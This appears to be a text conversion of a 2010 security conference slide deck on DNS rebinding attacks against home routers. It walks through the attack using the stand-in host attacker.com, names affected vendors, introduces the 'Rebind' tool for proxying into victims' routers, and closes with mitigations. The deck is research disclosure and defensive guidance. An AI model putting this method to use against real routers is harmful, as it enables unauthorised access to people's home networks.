How to Hack Millions of Routers

Craig Heffner, Seismic LLC
DD-WRT (httpd service) Remote Command Execution Vulnerability

BT HOME FLUB: PWNIN THE BT HOME HUB
published: October 8th, 2007

OK, let me get to the point. The BT Home Hub, which is probably the most popular home router in the UK, is susceptible to critical vulnerabilities.

Linksys Wi-Fi router vulnerability discovered

February 15, 2007 3:33 PM PST

Hack lets intruders sneak into home routers

By Joris Evers
Staff Writer, CNET News

ASUS WL-500W Wireless Router Two Vulnerabilities

Report ID: SA200604719
Source: Securitia
Date of Discovery: 03.09.2009
Criticality: Urgent
Affects: ASUS WL-500W Wireless Router
Compromise From: System access
Compromise Type: Unknown

Summary
Two vulnerabilities have been reported in ASUS WL-500W wireless router. One vulnerability has an unknown while the other can be exploited to compromise a vulnerable device.

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- In search of a do-it-yourself Wall-E
- A user's guide to robotics higher ed
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Related Stories
If you haven't changed the default password on your home router, let this recent threat serve as a reminder.
Common Attack Techniques

- Cross Site Request Forgery
  - No trust relationship between browser and router
  - Can’t forge Basic Authentication credentials
  - Anti-CSRF
  - Limited by the same origin policy

- DNS Rebinding
  - Rebinding prevention by OpenDNS / NoScript / DNSWall
  - Most rebinding attacks no longer work
  - *Most*...
Multiple A Record Attack

- Better known as DNS load balancing / redundancy

- Return multiple IP addresses in DNS response
  - Browser attempts to connect to each IP addresses in order
  - If one IP goes down, browser switches to the next IP in the list

- Limited attack
  - Can rebind to any public IP address
  - Can’t rebind to an RFC1918 IP addresses
Rebinding to a Public IP

<table>
<thead>
<tr>
<th>Target IP:</th>
<th>2.3.5.8</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attacker IP:</td>
<td>1.4.1.4</td>
</tr>
<tr>
<td>Attacker Domain:</td>
<td>attacker.com</td>
</tr>
</tbody>
</table>
Rebinding to a Public IP

What is the IP address for attacker.com?
Rebinding to a Public IP
Rebinding to a Public IP

GET / HTTP/1.1
Host: attacker.com
Rebinding to a Public IP
Rebinding to a Public IP

GET / HTTP/1.1
Host: attacker.com
Rebinding to a Public IP

TCP RST
Rebinding to a Public IP

GET / HTTP/1.1
Host: attacker.com
Rebinding to a Public IP
Rebinding to a Private IP

Target IP: 192.168.1.1
Attacker IP: 1.4.1.4
Attacker Domain: attacker.com
Rebinding to a Private IP

What is the IP address for attacker.com?

192.168.1.1

1.4.1.4
Rebinding to a Private IP
Rebinding to a Private IP

GET / HTTP/1.1
Host: attacker.com

192.168.1.1

1.4.1.4
Rebinding to a Private IP

<html>…</html>

192.168.1.1

1.4.1.4
## Services Bound to All Interfaces

```
# netstat -l
```

### Active Internet connections (only servers)

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>*:80</td>
<td><em>:</em></td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>*:53</td>
<td><em>:</em></td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>*:22</td>
<td><em>:</em></td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>*:23</td>
<td><em>:</em></td>
<td>LISTEN</td>
</tr>
</tbody>
</table>
Firewall Rules Based on Interface Names

- A INPUT –i eth0 –j DROP
- A INPUT –j ACCEPT
IP Stack Implementations

- RFC 1122 defines two IP models:
  - Strong End System Model
  - Weak End System Model
The Weak End System Model

- RFC 1122, Weak End System Model:
  - A host MAY silently discard an incoming datagram whose destination address does not correspond to the physical interface through which it is received.
  - A host MAY restrict itself to sending (non-source-routed) IP datagrams only through the physical interface that corresponds to the IP source address of the datagrams.
Weak End System Model

eth1 192.168.1.1

eth0 2.3.5.8
Weak End System Model

TCP SYN Packet
Source IP: 192.168.1.100
Destination IP: 2.3.5.8
Destination Port: 80

eth1 192.168.1.1
eth0 2.3.5.8
Weak End System Model

TCP SYN/ACK Packet
Source IP: 2.3.5.8
Destination IP: 192.168.1.100
Source Port: 80

eth1 192.168.1.1
eth0 2.3.5.8
Weak End System Model

TCP ACK Packet
Source IP: 192.168.1.100
Destination IP: 2.3.5.8
Destination Port: 80
## Traffic Capture

### Capture Data

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.000000</td>
<td>192.168.1.100</td>
<td>2.3.5.8</td>
<td>TCP</td>
<td>36832 &gt; http [SYN, ECN, CWR] Seq=0 Ack=997819536 Win=5846 Len=0 MSS=1460 WS=1</td>
</tr>
<tr>
<td>2</td>
<td>0.000031</td>
<td>2.3.5.8</td>
<td>192.168.1.100</td>
<td>TCP</td>
<td>http &gt; 36832 [SYN, ACK] Seq=0 Ack=1 Win=5848 Len=0 MSS=1460 WS=7</td>
</tr>
<tr>
<td>3</td>
<td>0.000993</td>
<td>192.168.1.100</td>
<td>2.3.5.8</td>
<td>TCP</td>
<td>36832 &gt; http [ACK] Seq=1 Ack=1 Win=5840 Len=0</td>
</tr>
</tbody>
</table>

**eth1**: <live capture in progress> Fi... : Packets: 3 Displayed: 3 Marked: 0
End Result
Public IP Rebinding Attack

Target IP: 2.3.5.8
Attacker IP: 1.4.1.4
Attacker Domain: attacker.com
Public IP Rebinding Attack

What is the IP address for attacker.com?

2.3.5.8 -> 1.4.1.4
Public IP Rebinding Attack

1.4.1.4
2.3.5.8

2.3.5.8
1.4.1.4
Public IP Rebinding Attack

GET / HTTP/1.1
Host: attacker.com
Public IP Rebinding Attack
Public IP Rebinding Attack
Public IP Rebinding Attack
Public IP Rebinding Attack

GET / HTTP/1.1
Host: attacker.com
Public IP Rebinding Attack
Public IP Rebinding Attack

Pros:
- Nearly instant rebind, no delay or waiting period
- Don’t need to know router’s internal IP
- Works in all major browsers: IE, FF, Opera, Safari, Chrome

Cons:
- Router must meet very specific conditions
  - Must bind Web server to the WAN interface
  - Firewall rules must be based on interface names, not IP addresses
  - Must implement the weak end system model
- Not all routers are vulnerable
Affected Routers
Asus
Belkin
Thompson
Linksys
Third Party Firmware
ActionTec
Making the Attack Practical

To make the attack practical:
- Must obtain target’s public IP address automatically
- Must coordinate services (DNS, Web, Firewall)
- Must do something useful
Tool Release: Rebind

- Provides all necessary services
  - DNS, Web, Firewall

- Serves up JavaScript code
  - Limits foreground activity
  - Makes use of cross-domain XHR, if supported
  - Supports all major Web browsers

- Attacker can browse target routers in real-time
  - Via a standard HTTP proxy
Rebind

Target IP: 2.3.5.8
Rebind IP: 1.4.1.4
Attacker Domain: attacker.com
Rebind

Register a NameServer Name

Nameserver: ns1. attacker.com
IP Address: 1.4.1.4

Save Changes
## Nameservers

<table>
<thead>
<tr>
<th>Nameserver</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Nameserver 1</td>
<td>ns1.attacker.com</td>
</tr>
<tr>
<td>Nameserver 2</td>
<td></td>
</tr>
<tr>
<td>Nameserver 3</td>
<td></td>
</tr>
<tr>
<td>Nameserver 4</td>
<td></td>
</tr>
</tbody>
</table>

**Save Changes**
Rebind

What is the IP address for attacker.com?
Rebind
Rebind

GET /init HTTP/1.1
Host: attacker.com
Rebind

Location: http://wacme.attacker.com/exec
Rebind

What is the IP address for wacme.attacker.com?

2.3.5.8 → 1.4.1.4
Rebind

2.3.5.8

1.4.1.4

2.3.5.8

1.4.1.4
Rebind

GET /exec HTTP/1.1
Host: wacme.attacker.com
Rebind

<script>…</script>
Rebind

GET / HTTP/1.1
Host: wacme.attacker.com
Rebind

TCP RST

2.3.5.8

1.4.1.4
Rebind

GET / HTTP/1.1
Host: wacme.attacker.com
Rebind

<html>…</html>

- 2.3.5.8
- 1.4.1.4
Rebind

GET /poll HTTP/1.1
Host: attacker.com:81
Rebind
Rebind

Rebind Control Console

<table>
<thead>
<tr>
<th>Client IP</th>
<th>Last Callback Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>173.69.174.66</td>
<td>2010-06-17 23:23:29</td>
</tr>
</tbody>
</table>
Rebind

GET http://2.3.5.8/ HTTP/1.1

2.3.5.8

1.4.1.4
Rebind

GET /poll HTTP/1.1
Host: attacker.com:81
Rebind

GET / HTTP/1.1
Rebind

GET / HTTP/1.1
Host: wacme.attacker.com
Rebind

POST /exec HTTP/1.1
Host: attacker.com:81

<html>…</html>
Rebind

<html>…</html>
Demo
More Fun With Rebind

- Attacking SOAP services
  - UPnP
  - HNAP

- We can rebind to any public IP
  - Proxy attacks to other Web sites via your browser
    - As long as the site doesn’t check the host header
DNS Rebinding Countermeasures
Am I Vulnerable?
End-User Mitigations

- Break any of the attack’s conditions
  - Interface binding
  - Firewall rules
  - Routing rules
  - Disable the HTTP administrative interface

- Reduce the impact of the attack
  - Basic security precautions
Blocking Attacks at the Router

- Don’t bind services to the external interface
  - May not have sufficient access to the router to change this
  - Some services don’t give you a choice

- Re-configure firewall rules
  - `A INPUT -i eth1 -d 172.69.0.0/16 -j DROP`
HTTP Administrative Interface

- Disable the HTTP interface
  - Use HTTPS / SSH
  - Disable UPnP while you’re at it

- But be warned…
  - Enabling HTTPS won’t disable HTTP
  - In some routers you can’t disable HTTP
  - Some routers have HTTP listening on alternate ports
  - In some routers you can’t disable HNAP
Blocking Attacks at the Host

- Re-configure firewall rules
  -A INPUT –d 172.69.0.0/16 –j DROP

- Configure dummy routes
  route add -net 172.69.0.0/16 gw 127.0.0.1
Basic Security Precautions

- Change your router’s default password
- Keep your firmware up to date
- Don’t trust un-trusted content
Vendor / Industry Solutions

- Fix the same-origin policy in browsers
- Implement the strong end system model in routers
- Build DNS rebinding mitigations into routers
Conclusion

- DNS rebinding still poses a threat to your LAN
- Tools are available to exploit DNS rebinding
- Only you can prevent forest fires
Q & A

- Rebind project
  - http://rebind.googlecode.com

- Contact
  - heffnercj@gmail.com
References

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- Anti-DNS Pinning Demo
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